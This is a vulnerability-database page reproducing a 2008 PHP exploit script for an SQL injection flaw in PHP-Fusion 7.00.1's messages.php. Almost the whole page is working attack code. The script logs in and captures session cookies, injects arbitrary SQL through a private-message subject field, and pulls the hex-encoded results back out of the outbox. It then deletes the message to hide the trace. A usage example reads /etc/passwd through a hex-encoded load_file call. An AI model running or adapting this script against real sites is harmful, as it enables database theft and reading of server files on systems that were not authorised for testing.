Lucene search
K

PHP-Fusion 7.00.1 (messages.php) Remote SQL Injection Exploit

🗓️ 21 Nov 2008 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 37 Views

PHP-Fusion 7.00.1 Remote SQL Injection Exploi

Code

                                                <?php
/*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*
 PHP-Fusion 7.00.1 (messages.php) Remote SQL Injection Exploit
 requires magic_quotes == off

 coded by irk4z[at]yahoo.pl
 homepage: http://irk4z.wordpress.com

 greets: all friends ;)
*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*/

$host = $argv[1];
$path = $argv[2];
$login = $argv[3];
$pass = $argv[4];
$sql_injection = $argv[5];

echo
"*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*\n".
" PHP-Fusion 7.00.1 (messages.php) Remote SQL Injection Exploit\n".
" requires magic_quotes == off\n".
"\n".
" coded by irk4z[at]yahoo.pl\n".
" homepage: http://irk4z.wordpress.com\n".
"\n".
" greets: all friends ;)\n".
"*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*\n";

if(empty($host) || empty($path) || empty($login) || empty($pass) || empty($sql_injection) ){
	echo "Usage: php $argv[0] <host> <path> <login> <pass> <SQL>\n" .
		 "       php $argv[0] localhost /php-fusion/ user s3cret \"SELECT database()\"\n".
		 "       php $argv[0] localhost / user s3cret \"SELECT load_file(0x2F6574632F706173737764)\"\n\n";
	die;
}

echo "Logging into system...";
//login to php-fusion using login and pass
$login_data = send($host, array(	"path" => $path."news.php",
					"post" => array(
							"user_name" => $login,
							"user_pass" => $pass,
							"login" => "Login"
							)
				)
			);

//get cookies
preg_match_all("/Set-Cookie:[\s]+([a-z_A-Z0-9]+=[a-z_A-Z0-9\.]+;)/", $login_data, $matches);
$cookies = implode(' ', $matches[1]);

//get user id
preg_match_all("/([0-9])+.([a-zA-Z0-9]{32})/", $cookies, $matches);
$my_id = $matches[1][0];

if(empty($my_id)){
	echo "\n[x] Incorrect login or password..";
	die;
} else {
	echo "[ok]\n";
}

$id_message = uniqid();
$inhex = '';
for($i = 0; $i < strlen($id_message); $i++) $inhex .= dechex( ord($id_message[$i]) ) ;

echo "Running sql-injection...\n";
//running sql-injection
$res = send($host, array(	"path" => $path."messages.php?msg_send={$my_id}%27%2F%2Axxx&",
				"cookie" => $cookies,
				"post" => array(
						"send_message" => 'X',
						"subject" => "X*/,0x{$inhex},								(SELECT/**/concat(0x{$inhex}{$inhex},hex(($sql_injection)),0x{$inhex}{$inhex})),0x79,1,1226787120,1)/*",
						"message" => "XXX"
						)
			)
		);

echo "Getting data...\n\n";
$res = send($host, array(	"path" => $path."messages.php?folder=outbox",
				"cookie" => $cookies )
			);

preg_match_all("/msg_read=([0-9]+)'>{$id_message}<\/a>/", $res, $matches);
$id_message_number = $matches[1][0];

$res = send($host, array(	"path" => $path."messages.php?folder=outbox&msg_read=".$id_message_number,
				"cookie" => $cookies )
		);

preg_match_all("/{$id_message}{$id_message}(.*){$id_message}{$id_message}/", $res, $matches);

if( empty($matches[1][0]) ){
	echo "[x] Failed... maybe SQL-INJ is incorrect?\n\n";
} else {
	$tmp = '';
	$hex = $matches[1][0];
	//unhex it!
	for($i = 0; $i < strlen($hex); $i+=2) $tmp .= chr(hexdec($hex[$i] . $hex[$i+1]));
	echo "DATA: \n".$tmp."\n\n";
}

echo "Deleting message...\n";

$res = send($host, array(	"path" => $path."messages.php?folder=outbox&msg_id=".$id_message_number,
				"cookie" => $cookies,
				"post" => array (
						"delete" => "Delete"
						)
			)
		);

//send http packet
function send($host, $dane = "") {
	$packet = (empty($dane['post']) ? "GET" : "POST") . " {$dane["path"]} HTTP/1.1\r\n";
	$packet .= "Host: {$host}\r\n";
	
	if( !empty($dane['cookie']) ){
		$packet .= "Cookie: {$dane['cookie']}\r\n";
	}
	
	if( !empty($dane['post']) ){
		$reszta_syfu = "";
		foreach($dane['post'] as $tmp => $tmp2){
			$reszta_syfu .= $tmp . "=" . $tmp2 . "&";
		}
		$packet .= "Content-Type: application/x-www-form-urlencoded\r\n";
		$packet .= "Connection: Close\r\n";
		$packet .= "Content-Length: ".strlen($reszta_syfu)."\r\n\r\n";
		$packet .= $reszta_syfu;
	} else {
		$packet .= "Connection: Close\r\n\r\n";
	}

	$o = @fsockopen($host, 80);
	if(!$o){
		echo "\n[x] No response...\n";
		die;
	}
	fputs($o, $packet);
	while (!feof($o)) $ret .= fread($o, 1024);
	fclose($o);
	return ($ret);
}

?>
                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

21 Nov 2008 00:00Current
7.1High risk
Vulners AI Score7.1
37